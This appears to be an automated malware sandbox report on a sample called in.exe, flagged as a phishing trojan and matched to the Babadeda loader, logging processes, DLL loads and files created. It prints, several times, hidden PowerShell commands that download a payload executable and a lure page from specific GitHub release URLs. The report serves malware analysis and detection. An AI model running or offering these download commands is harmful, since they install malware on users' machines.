Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.5:49707 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\shost.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_0040C898	0_2_0040C898
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_0040E950	0_2_0040E950
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00410910	0_2_00410910
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_004109D9	0_2_004109D9
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_004105E0	0_2_004105E0
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00411580	0_2_00411580
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00410993	0_2_00410993
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00410600	0_2_00410600
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_0040B347	0_2_0040B347
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_0040F3C8	0_2_0040F3C8

Source: in.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.phis.troj.evad.winEXE@25/35@14/11

Source: C:\Users\user\Desktop\in.exe

Code function: 0_2_004026B8 LoadResource,SizeofResource,FreeResource,

0_2_004026B8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5720:120:WilError_03

Source: C:\Users\user\Desktop\in.exe

File created: C:\Users\user\AppData\Local\Temp\CE69.tmp

Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe"

Source: C:\Users\user\Desktop\in.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: in.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\in.exe "C:\Users\user\Desktop\in.exe"
Source: C:\Users\user\Desktop\in.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\archive.htm
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1948,i,14274306992639415631,1134065366431252784,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\in.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\archive.htm	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1948,i,14274306992639415631,1134065366431252784,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\in.exe

Unpacked PE file: 0.2.in.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: in.exe, type: SAMPLE
Source: Yara match	File source: 0.0.in.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.in.exe.400000.0.unpack, type: UNPACKEDPE

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"
